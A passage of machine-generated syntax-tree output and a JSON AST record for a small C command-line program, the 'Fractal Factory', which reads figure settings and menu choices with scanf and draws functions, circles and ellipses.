Draw ellipse\n")" (() "(" (string_literal) ""3) Draw ellipse\n"" (") """ (string_content) "3) Draw ellipse" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "printf("4) Exit\n");" (call_expression) "printf("4) Exit\n")" (identifier) "printf" (argument_list) "("4) Exit\n")" (() "(" (string_literal) ""4) Exit\n"" (") """ (string_content) "4) Exit" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "printf("\nChoice:");" (call_expression) "printf("\nChoice:")" (identifier) "printf" (argument_list) "("\nChoice:")" (() "(" (string_literal) ""\nChoice:"" (") """ (escape_sequence) "\n" (string_content) "Choice:" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%d", &choice);" (call_expression) "scanf("%d", &choice)" (identifier) "scanf" (argument_list) "("%d", &choice)" (() "(" (string_literal) ""%d"" (") """ (string_content) "%d" (") """ (,) "," (pointer_expression) "&choice" (&) "&" (identifier) "choice" ()) ")" (;) ";" (switch_statement) "switch(choice){\n case 1:\n printf("\n\nEnter domain of the function [decimal,decimal]:");\n scanf("%lf%lf", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;\n case 2:\n printf("\n\nEnter center point(x,y) of the circle (integer integer):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\n\nEnter radius of the circle (integer):");\n scanf("%lf", &r);\n draw_circle(center, r, figure);\n break;\n case 3:\n printf("\n\nEnter center point of the ellipse (integer x, integer y):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\nEnter major and minor axises of the ellipse (decimal, decimal):");\n scanf("%lf%lf", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;\n case 4:\n return;\n break;\n default:\n printf("Wrong input!");\n break;\n }" (switch) "switch" (parenthesized_expression) "(choice)" (() "(" (identifier) "choice" ()) ")" (compound_statement) "{\n case 1:\n printf("\n\nEnter domain of the function [decimal,decimal]:");\n scanf("%lf%lf", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;\n case 2:\n printf("\n\nEnter center point(x,y) of the circle (integer integer):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\n\nEnter radius of the circle (integer):");\n scanf("%lf", &r);\n draw_circle(center, r, figure);\n break;\n case 3:\n printf("\n\nEnter center point of the ellipse (integer x, integer y):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\nEnter major and minor axises of the ellipse (decimal, decimal):");\n scanf("%lf%lf", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;\n case 4:\n return;\n break;\n default:\n printf("Wrong input!");\n break;\n }" ({) "{" (case_statement) "case 1:\n printf("\n\nEnter domain of the function [decimal,decimal]:");\n scanf("%lf%lf", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;" (case) "case" (number_literal) "1" (:) ":" (expression_statement) "printf("\n\nEnter domain of the function [decimal,decimal]:");" (call_expression) "printf("\n\nEnter domain of the function [decimal,decimal]:")" (identifier) "printf" (argument_list) "("\n\nEnter domain of the function [decimal,decimal]:")" (() "(" (string_literal) ""\n\nEnter domain of the function [decimal,decimal]:"" (") """ (escape_sequence) "\n" (escape_sequence) "\n" (string_content) "Enter domain of the function [decimal,decimal]:" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%lf%lf", &start_x, &end_x);" (call_expression) "scanf("%lf%lf", &start_x, &end_x)" (identifier) "scanf" (argument_list) "("%lf%lf", &start_x, &end_x)" (() "(" (string_literal) ""%lf%lf"" (") """ (string_content) "%lf%lf" (") """ (,) "," (pointer_expression) "&start_x" (&) "&" (identifier) "start_x" (,) "," (pointer_expression) "&end_x" (&) "&" (identifier) "end_x" ()) ")" (;) ";" (expression_statement) "draw_fx(figure, g, start_x, end_x);" (call_expression) "draw_fx(figure, g, start_x, end_x)" (identifier) "draw_fx" (argument_list) "(figure, g, start_x, end_x)" (() "(" (identifier) "figure" (,) "," (identifier) "g" (,) "," (identifier) "start_x" (,) "," (identifier) "end_x" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "case 2:\n printf("\n\nEnter center point(x,y) of the circle (integer integer):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\n\nEnter radius of the circle (integer):");\n scanf("%lf", &r);\n draw_circle(center, r, figure);\n break;" (case) "case" (number_literal) "2" (:) ":" (expression_statement) "printf("\n\nEnter center point(x,y) of the circle (integer integer):");" (call_expression) "printf("\n\nEnter center point(x,y) of the circle (integer integer):")" (identifier) "printf" (argument_list) "("\n\nEnter center point(x,y) of the circle (integer integer):")" (() "(" (string_literal) ""\n\nEnter center point(x,y) of the circle (integer integer):"" (") """ (escape_sequence) "\n" (escape_sequence) "\n" (string_content) "Enter center point(x,y) of the circle (integer integer):" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%d%d", &x, &y);" (call_expression) "scanf("%d%d", &x, &y)" (identifier) "scanf" (argument_list) "("%d%d", &x, &y)" (() "(" (string_literal) ""%d%d"" (") """ (string_content) "%d%d" (") """ (,) "," (pointer_expression) "&x" (&) "&" (identifier) "x" (,) "," (pointer_expression) "&y" (&) "&" (identifier) "y" ()) ")" (;) ";" (expression_statement) "center->x = x;" (assignment_expression) "center->x = x" (field_expression) "center->x" (identifier) "center" (->) "->" (field_identifier) "x" (=) "=" (identifier) "x" (;) ";" (expression_statement) "center->y = y;" (assignment_expression) "center->y = y" (field_expression) "center->y" (identifier) "center" (->) "->" (field_identifier) "y" (=) "=" (identifier) "y" (;) ";" (expression_statement) "printf("\n\nEnter radius of the circle (integer):");" (call_expression) "printf("\n\nEnter radius of the circle (integer):")" (identifier) "printf" (argument_list) "("\n\nEnter radius of the circle (integer):")" (() "(" (string_literal) ""\n\nEnter radius of the circle (integer):"" (") """ (escape_sequence) "\n" (escape_sequence) "\n" (string_content) "Enter radius of the circle (integer):" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%lf", &r);" (call_expression) "scanf("%lf", &r)" (identifier) "scanf" (argument_list) "("%lf", &r)" (() "(" (string_literal) ""%lf"" (") """ (string_content) "%lf" (") """ (,) "," (pointer_expression) "&r" (&) "&" (identifier) "r" ()) ")" (;) ";" (expression_statement) "draw_circle(center, r, figure);" (call_expression) "draw_circle(center, r, figure)" (identifier) "draw_circle" (argument_list) "(center, r, figure)" (() "(" (identifier) "center" (,) "," (identifier) "r" (,) "," (identifier) "figure" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "case 3:\n printf("\n\nEnter center point of the ellipse (integer x, integer y):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\nEnter major and minor axises of the ellipse (decimal, decimal):");\n scanf("%lf%lf", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;" (case) "case" (number_literal) "3" (:) ":" (expression_statement) "printf("\n\nEnter center point of the ellipse (integer x, integer y):");" (call_expression) "printf("\n\nEnter center point of the ellipse (integer x, integer y):")" (identifier) "printf" (argument_list) "("\n\nEnter center point of the ellipse (integer x, integer y):")" (() "(" (string_literal) ""\n\nEnter center point of the ellipse (integer x, integer y):"" (") """ (escape_sequence) "\n" (escape_sequence) "\n" (string_content) "Enter center point of the ellipse (integer x, integer y):" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%d%d", &x, &y);" (call_expression) "scanf("%d%d", &x, &y)" (identifier) "scanf" (argument_list) "("%d%d", &x, &y)" (() "(" (string_literal) ""%d%d"" (") """ (string_content) "%d%d" (") """ (,) "," (pointer_expression) "&x" (&) "&" (identifier) "x" (,) "," (pointer_expression) "&y" (&) "&" (identifier) "y" ()) ")" (;) ";" (expression_statement) "center->x = x;" (assignment_expression) "center->x = x" (field_expression) "center->x" (identifier) "center" (->) "->" (field_identifier) "x" (=) "=" (identifier) "x" (;) ";" (expression_statement) "center->y = y;" (assignment_expression) "center->y = y" (field_expression) "center->y" (identifier) "center" (->) "->" (field_identifier) "y" (=) "=" (identifier) "y" (;) ";" (expression_statement) "printf("\nEnter major and minor axises of the ellipse (decimal, decimal):");" (call_expression) "printf("\nEnter major and minor axises of the ellipse (decimal, decimal):")" (identifier) "printf" (argument_list) "("\nEnter major and minor axises of the ellipse (decimal, decimal):")" (() "(" (string_literal) ""\nEnter major and minor axises of the ellipse (decimal, decimal):"" (") """ (escape_sequence) "\n" (string_content) "Enter major and minor axises of the ellipse (decimal, decimal):" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%lf%lf", &a, &b);" (call_expression) "scanf("%lf%lf", &a, &b)" (identifier) "scanf" (argument_list) "("%lf%lf", &a, &b)" (() "(" (string_literal) ""%lf%lf"" (") """ (string_content) "%lf%lf" (") """ (,) "," (pointer_expression) "&a" (&) "&" (identifier) "a" (,) "," (pointer_expression) "&b" (&) "&" (identifier) "b" ()) ")" (;) ";" (expression_statement) "draw_ellipse(center, a, b, figure);" (call_expression) "draw_ellipse(center, a, b, figure)" (identifier) "draw_ellipse" (argument_list) "(center, a, b, figure)" (() "(" (identifier) "center" (,) "," (identifier) "a" (,) "," (identifier) "b" (,) "," (identifier) "figure" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "case 4:\n return;\n break;" (case) "case" (number_literal) "4" (:) ":" (return_statement) "return;" (return) "return" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "default:\n printf("Wrong input!");\n break;" (default) "default" (:) ":" (expression_statement) "printf("Wrong input!");" (call_expression) "printf("Wrong input!")" (identifier) "printf" (argument_list) "("Wrong input!")" (() "(" (string_literal) ""Wrong input!"" (") """ (string_content) "Wrong input!" (") """ ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (}) "}" (function_definition) "double g(double x){\n return x*x*x /10;\n}" (primitive_type) "double" (function_declarator) "g(double x)" (identifier) "g" (parameter_list) "(double x)" (() "(" (parameter_declaration) "double x" (primitive_type) "double" (identifier) "x" ()) ")" (compound_statement) "{\n return x*x*x /10;\n}" ({) "{" (return_statement) "return x*x*x /10;" (return) "return" (binary_expression) "x*x*x /10" (binary_expression) "x*x*x" (binary_expression) "x*x" (identifier) "x" (*) "*" (identifier) "x" (*) "*" (identifier) "x" (/) "/" (number_literal) "10" (;) ";" (}) "}" (function_definition) "double h(double x){\n return x*x;\n}" (primitive_type) "double" (function_declarator) "h(double x)" (identifier) "h" (parameter_list) "(double x)" (() "(" (parameter_declaration) "double x" (primitive_type) "double" (identifier) "x" ()) ")" (compound_statement) "{\n return x*x;\n}" ({) "{" (return_statement) "return x*x;" (return) "return" (binary_expression) "x*x" (identifier) "x" (*) "*" (identifier) "x" (;) ";" (}) "}" (function_definition) "double k(double x){\n return 1/x;\n}" (primitive_type) "double" (function_declarator) "k(double x)" (identifier) "k" (parameter_list) "(double x)" (() "(" (parameter_declaration) "double x" (primitive_type) "double" (identifier) "x" ()) ")" (compound_statement) "{\n return 1/x;\n}" ({) "{" (return_statement) "return 1/x;" (return) "return" (binary_expression) "1/x" (number_literal) "1" (/) "/" (identifier) "x" (;) ";" (}) "}"
841
0
{"language": "c", "success": true, "metadata": {"lines": 92, "avg_line_length": 30.88, "nodes": 444, "errors": 0, "source_hash": "4de906b41da6e7f56a56742c1fc6c9d1530294c52bf78ee0ddda64f483d83e4a", "categorized_nodes": 310}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<stdio.h>", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 18}}, {"id": 3, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 19}}, {"id": 6, "type": "preproc_include", "text": "#include \"fractal.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"fractal.h\"", "parent": 6, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 20}}, {"id": 9, "type": "declaration", "text": "double g(double);", "parent": null, "children": [10, 11], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 17}}, {"id": 10, "type": "primitive_type", "text": "double", "parent": 9, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 6}}, {"id": 11, "type": "function_declarator", "text": "g(double)", "parent": 9, "children": [12, 13], "start_point": {"row": 4, "column": 7}, "end_point": {"row": 4, "column": 16}}, {"id": 12, "type": "identifier", "text": "g", "parent": 11, "children": [], "start_point": {"row": 4, "column": 7}, "end_point": {"row": 4, "column": 8}}, {"id": 13, "type": "parameter_list", "text": "(double)", "parent": 11, "children": [14], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 16}}, {"id": 14, "type": "parameter_declaration", "text": "double", "parent": 13, "children": [15], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 15}}, {"id": 15, "type": "primitive_type", "text": "double", "parent": 14, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 15}}, {"id": 16, "type": "declaration", "text": "void menu(Figure *);", "parent": null, "children": [17, 18], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 20}}, {"id": 17, "type": "primitive_type", "text": "void", "parent": 16, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 4}}, {"id": 18, "type": "function_declarator", "text": "menu(Figure *)", "parent": 16, "children": [19, 20], "start_point": {"row": 5, "column": 5}, "end_point": {"row": 5, "column": 19}}, {"id": 19, "type": "identifier", "text": "menu", "parent": 18, "children": [], "start_point": {"row": 5, "column": 5}, "end_point": {"row": 5, "column": 9}}, {"id": 20, "type": "parameter_list", "text": "(Figure *)", "parent": 18, "children": [21], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 19}}, {"id": 21, "type": "parameter_declaration", "text": "Figure *", "parent": 20, "children": [22, 23], "start_point": {"row": 5, "column": 10}, "end_point": {"row": 5, "column": 18}}, {"id": 22, "type": "type_identifier", "text": "Figure", "parent": 21, "children": [], "start_point": {"row": 5, "column": 10}, "end_point": {"row": 5, "column": 16}}, {"id": 23, "type": "abstract_pointer_declarator", "text": "*", "parent": 21, "children": [24], "start_point": {"row": 5, "column": 17}, "end_point": {"row": 5, "column": 18}}, {"id": 24, "type": "*", "text": "*", "parent": 23, "children": [], "start_point": {"row": 5, "column": 17}, "end_point": {"row": 5, "column": 18}}, {"id": 25, "type": "function_definition", "text": "int main() \n{\n Color* color = (Color*)malloc(sizeof(Color));\n double width, height, thickness, resolution;\n int r, g, b;\n printf(\"\\n***Welcome to the Fractal Factory***\\n\");\n printf(\"\\nEnter width of your figure(decimal):\\n\");\n scanf(\"%lf\", &width);\n printf(\"\\nEnter height of your figure(decimal):\\n\");\n scanf(\"%lf\", &width);\n Figure * figure = start_figure(width, height);\n\n printf(\"\\nEnter thickness(decimal):\\n\");\n scanf(\"%lf\", &thickness);\n printf(\"\\nEnter resolution(decimal):\\n\");\n scanf(\"%lf\", &resolution);\n set_thickness_resolution(figure, thickness, resolution);\n\n printf(\"\\nEnter red, blue and green value of your color(integer integer integer):\\n\");\n scanf(\"%d%d%d\", &r, &g, &b);\n color->r = r;\n color->g = g;\n color->b = b;\n set_color(figure, *color);\n\n menu(figure);\n // Figure * figure = start_figure(200.1, 200.1);\n // set_thickness_resolution(figure, 1.0, 60.0);\n // Color c = {.r=1, .g=2, .b=3};\n // set_color(figure, c);\n // //draw_fx(figure, g, -50.0, 50.0);\n // Point2D center= {.x=20.0, .y=60.0};\n // draw_circle(&center, 40.0, figure);\n // //draw_ellipse(&center, 120.0, 80.0, figure);\n // //export_svg(figure, \"canvas3.svg\");\n\n return 0;\n}", "parent": null, "children": [26, 27], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 44, "column": 1}}, {"id": 26, "type": "primitive_type", "text": "int", "parent": 25, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 3}}, {"id": 27, "type": "function_declarator", "text": "main()", "parent": 25, "children": [28, 29], "start_point": {"row": 7, "column": 4}, "end_point": {"row": 7, "column": 10}}, {"id": 28, "type": "identifier", "text": "main", "parent": 27, "children": [], "start_point": {"row": 7, "column": 4}, "end_point": {"row": 7, "column": 8}}, {"id": 29, "type": "parameter_list", "text": "()", "parent": 27, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 10}}, {"id": 30, "type": "declaration", "text": "Color* color = (Color*)malloc(sizeof(Color));", "parent": 25, "children": [31, 32], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 49}}, {"id": 31, "type": "type_identifier", "text": "Color", "parent": 30, "children": [], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 9}}, {"id": 32, "type": "init_declarator", "text": "* color = (Color*)malloc(sizeof(Color))", "parent": 30, "children": [33, 36, 37], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 48}}, {"id": 33, "type": "pointer_declarator", "text": "* color", "parent": 32, "children": [34, 35], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 16}}, {"id": 34, "type": "*", "text": "*", "parent": 33, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 10}}, {"id": 35, "type": "identifier", "text": "color", "parent": 33, "children": [], "start_point": {"row": 9, "column": 11}, "end_point": {"row": 9, "column": 16}}, {"id": 36, "type": "=", "text": "=", "parent": 32, "children": [], "start_point": {"row": 9, "column": 17}, "end_point": {"row": 9, "column": 18}}, {"id": 37, "type": "cast_expression", "text": "(Color*)malloc(sizeof(Color))", "parent": 32, "children": [38, 42], "start_point": {"row": 9, "column": 19}, "end_point": {"row": 9, "column": 48}}, {"id": 38, "type": "type_descriptor", "text": "Color*", "parent": 37, "children": [39, 40], "start_point": {"row": 9, "column": 20}, "end_point": {"row": 9, "column": 26}}, {"id": 39, "type": "type_identifier", "text": "Color", "parent": 38, "children": [], "start_point": {"row": 9, "column": 20}, "end_point": {"row": 9, "column": 25}}, {"id": 40, "type": "abstract_pointer_declarator", "text": "*", "parent": 38, "children": [41], "start_point": {"row": 9, "column": 25}, "end_point": {"row": 9, "column": 26}}, {"id": 41, "type": "*", "text": "*", "parent": 40, "children": [], "start_point": {"row": 9, "column": 25}, "end_point": {"row": 9, "column": 26}}, {"id": 42, "type": "call_expression", "text": "malloc(sizeof(Color))", "parent": 37, "children": [43, 44], "start_point": {"row": 9, "column": 27}, "end_point": {"row": 9, "column": 48}}, {"id": 43, "type": "identifier", "text": "malloc", "parent": 42, "children": [], "start_point": {"row": 9, "column": 27}, "end_point": {"row": 9, "column": 33}}, {"id": 44, "type": "argument_list", "text": "(sizeof(Color))", "parent": 42, "children": [45], "start_point": {"row": 9, "column": 33}, "end_point": {"row": 9, "column": 48}}, {"id": 45, "type": "sizeof_expression", "text": "sizeof(Color)", "parent": 44, "children": [46], "start_point": {"row": 9, "column": 34}, "end_point": {"row": 9, "column": 47}}, {"id": 46, "type": "parenthesized_expression", "text": "(Color)", "parent": 45, "children": [47], "start_point": {"row": 9, "column": 40}, "end_point": {"row": 9, "column": 47}}, {"id": 47, "type": "identifier", "text": "Color", "parent": 46, "children": [], "start_point": {"row": 9, "column": 41}, "end_point": {"row": 9, "column": 46}}, {"id": 48, "type": "declaration", "text": "double width, height, thickness, resolution;", "parent": 25, "children": [49, 50, 51, 52, 53], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 48}}, {"id": 49, "type": "primitive_type", "text": "double", "parent": 48, "children": [], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 10}}, {"id": 50, "type": "identifier", "text": "width", "parent": 48, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 16}}, {"id": 51, "type": "identifier", "text": "height", "parent": 48, "children": [], "start_point": {"row": 10, "column": 18}, "end_point": {"row": 10, "column": 24}}, {"id": 52, "type": "identifier", "text": "thickness", "parent": 48, "children": [], "start_point": {"row": 10, "column": 26}, "end_point": {"row": 10, "column": 35}}, {"id": 53, "type": "identifier", "text": "resolution", "parent": 48, "children": [], "start_point": {"row": 10, "column": 37}, "end_point": {"row": 10, "column": 47}}, {"id": 54, "type": "declaration", "text": "int r, g, b;", "parent": 25, "children": [55, 56, 57, 58], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 16}}, {"id": 55, "type": "primitive_type", "text": "int", "parent": 54, "children": [], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 7}}, {"id": 56, "type": "identifier", "text": "r", "parent": 54, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 9}}, {"id": 57, "type": "identifier", "text": "g", "parent": 54, "children": [], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 12}}, {"id": 58, "type": "identifier", "text": "b", "parent": 54, "children": [], "start_point": {"row": 11, "column": 14}, "end_point": {"row": 11, "column": 15}}, {"id": 59, "type": "call_expression", "text": "printf(\"\\n***Welcome to the Fractal Factory***\\n\")", "parent": 25, "children": [60, 61], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 54}}, {"id": 60, "type": "identifier", "text": "printf", "parent": 59, "children": [], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 10}}, {"id": 61, "type": "argument_list", "text": "(\"\\n***Welcome to the Fractal Factory***\\n\")", "parent": 59, "children": [62], "start_point": {"row": 12, "column": 10}, "end_point": {"row": 12, "column": 54}}, {"id": 62, "type": "string_literal", "text": "\"\\n***Welcome to the Fractal Factory***\\n\"", "parent": 61, "children": [63, 64], "start_point": {"row": 12, "column": 11}, "end_point": {"row": 12, "column": 53}}, {"id": 63, "type": "escape_sequence", "text": "\\n", "parent": 62, "children": [], "start_point": {"row": 12, "column": 12}, "end_point": {"row": 12, "column": 14}}, {"id": 64, "type": "escape_sequence", "text": "\\n", "parent": 62, "children": [], "start_point": {"row": 12, "column": 50}, "end_point": {"row": 12, "column": 52}}, {"id": 65, "type": "call_expression", "text": "printf(\"\\nEnter width of your figure(decimal):\\n\")", "parent": 25, "children": [66, 67], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 54}}, {"id": 66, "type": "identifier", "text": "printf", "parent": 65, "children": [], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 10}}, {"id": 67, "type": "argument_list", "text": "(\"\\nEnter width of your figure(decimal):\\n\")", "parent": 65, "children": [68], "start_point": {"row": 13, "column": 10}, "end_point": {"row": 13, "column": 54}}, {"id": 68, "type": "string_literal", "text": "\"\\nEnter width of your figure(decimal):\\n\"", "parent": 67, "children": [69, 70], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 53}}, {"id": 69, "type": "escape_sequence", "text": "\\n", "parent": 68, "children": [], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 13, "column": 14}}, {"id": 70, "type": "escape_sequence", "text": "\\n", "parent": 68, "children": [], "start_point": {"row": 13, "column": 50}, "end_point": {"row": 13, "column": 52}}, {"id": 71, "type": "call_expression", "text": "scanf(\"%lf\", &width)", "parent": 25, "children": [72, 73], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 24}}, {"id": 72, "type": "identifier", "text": "scanf", "parent": 71, "children": [], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 9}}, {"id": 73, "type": "argument_list", "text": "(\"%lf\", &width)", "parent": 71, "children": [74, 75], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 24}}, {"id": 74, "type": "string_literal", "text": "\"%lf\"", "parent": 73, "children": [], "start_point": {"row": 14, "column": 10}, "end_point": {"row": 14, "column": 15}}, {"id": 75, "type": "pointer_expression", "text": "&width", "parent": 73, "children": [76], "start_point": {"row": 14, "column": 17}, "end_point": {"row": 14, "column": 23}}, {"id": 76, "type": "identifier", "text": "width", "parent": 75, "children": [], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 23}}, {"id": 77, "type": "call_expression", "text": "printf(\"\\nEnter height of your figure(decimal):\\n\")", "parent": 25, "children": [78, 79], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 55}}, {"id": 78, "type": "identifier", "text": "printf", "parent": 77, "children": [], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 10}}, {"id": 79, "type": "argument_list", "text": "(\"\\nEnter height of your figure(decimal):\\n\")", "parent": 77, "children": [80], "start_point": {"row": 15, "column": 10}, "end_point": {"row": 15, "column": 55}}, {"id": 80, "type": "string_literal", "text": "\"\\nEnter height of your figure(decimal):\\n\"", "parent": 79, "children": [81, 82], "start_point": {"row": 15, "column": 11}, "end_point": {"row": 15, "column": 54}}, {"id": 81, "type": "escape_sequence", "text": "\\n", "parent": 80, "children": [], "start_point": {"row": 15, "column": 12}, "end_point": {"row": 15, "column": 14}}, {"id": 82, "type": "escape_sequence", "text": "\\n", "parent": 80, "children": [], "start_point": {"row": 15, "column": 51}, "end_point": {"row": 15, "column": 53}}, {"id": 83, "type": "call_expression", "text": "scanf(\"%lf\", &width)", "parent": 25, "children": [84, 85], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 24}}, {"id": 84, "type": "identifier", "text": "scanf", "parent": 83, "children": [], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 9}}, {"id": 85, "type": "argument_list", "text": "(\"%lf\", &width)", "parent": 83, "children": [86, 87], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 16, "column": 24}}, {"id": 86, "type": "string_literal", "text": "\"%lf\"", "parent": 85, "children": [], "start_point": {"row": 16, "column": 10}, "end_point": {"row": 16, "column": 15}}, {"id": 87, "type": "pointer_expression", "text": "&width", "parent": 85, "children": [88], "start_point": {"row": 16, "column": 17}, "end_point": {"row": 16, "column": 23}}, {"id": 88, "type": "identifier", "text": "width", "parent": 87, "children": [], "start_point": {"row": 16, "column": 18}, "end_point": {"row": 16, "column": 23}}, {"id": 89, "type": "declaration", "text": "Figure * figure = start_figure(width, height);", "parent": 25, "children": [90, 91], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 50}}, {"id": 90, "type": "type_identifier", "text": "Figure", "parent": 89, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 10}}, {"id": 91, "type": "init_declarator", "text": "* figure = start_figure(width, height)", "parent": 89, "children": [92, 95, 96], "start_point": {"row": 17, "column": 11}, "end_point": {"row": 17, "column": 49}}, {"id": 92, "type": "pointer_declarator", "text": "* figure", "parent": 91, "children": [93, 94], "start_point": {"row": 17, "column": 11}, "end_point": {"row": 17, "column": 19}}, {"id": 93, "type": "*", "text": "*", "parent": 92, "children": [], "start_point": {"row": 17, "column": 11}, "end_point": {"row": 17, "column": 12}}, {"id": 94, "type": "identifier", "text": "figure", "parent": 92, "children": [], "start_point": {"row": 17, "column": 13}, "end_point": {"row": 17, "column": 19}}, {"id": 95, "type": "=", "text": "=", "parent": 91, "children": [], "start_point": {"row": 17, "column": 20}, "end_point": {"row": 17, "column": 21}}, {"id": 96, "type": "call_expression", "text": "start_figure(width, height)", "parent": 91, "children": [97, 98], "start_point": {"row": 17, "column": 22}, "end_point": {"row": 17, "column": 49}}, {"id": 97, "type": "identifier", "text": "start_figure", "parent": 96, "children": [], "start_point": {"row": 17, "column": 22}, "end_point": {"row": 17, "column": 34}}, {"id": 98, "type": "argument_list", "text": "(width, height)", "parent": 96, "children": [99, 100], "start_point": {"row": 17, "column": 34}, "end_point": {"row": 17, "column": 49}}, {"id": 99, "type": "identifier", "text": "width", "parent": 98, "children": [], "start_point": {"row": 17, "column": 35}, "end_point": {"row": 17, "column": 40}}, {"id": 100, "type": "identifier", "text": "height", "parent": 98, "children": [], "start_point": {"row": 17, "column": 42}, "end_point": {"row": 17, "column": 48}}, {"id": 101, "type": "call_expression", "text": "printf(\"\\nEnter thickness(decimal):\\n\")", "parent": 25, "children": [102, 103], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 43}}, {"id": 102, "type": "identifier", "text": "printf", "parent": 101, "children": [], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 10}}, {"id": 103, "type": "argument_list", "text": "(\"\\nEnter thickness(decimal):\\n\")", "parent": 101, "children": [104], "start_point": {"row": 19, "column": 10}, "end_point": {"row": 19, "column": 43}}, {"id": 104, "type": "string_literal", "text": "\"\\nEnter thickness(decimal):\\n\"", "parent": 103, "children": [105, 106], "start_point": {"row": 19, "column": 11}, "end_point": {"row": 19, "column": 42}}, {"id": 105, "type": "escape_sequence", "text": "\\n", "parent": 104, "children": [], "start_point": {"row": 19, "column": 12}, "end_point": {"row": 19, "column": 14}}, {"id": 106, "type": "escape_sequence", "text": "\\n", "parent": 104, "children": [], "start_point": {"row": 19, "column": 39}, "end_point": {"row": 19, "column": 41}}, {"id": 107, "type": "call_expression", "text": 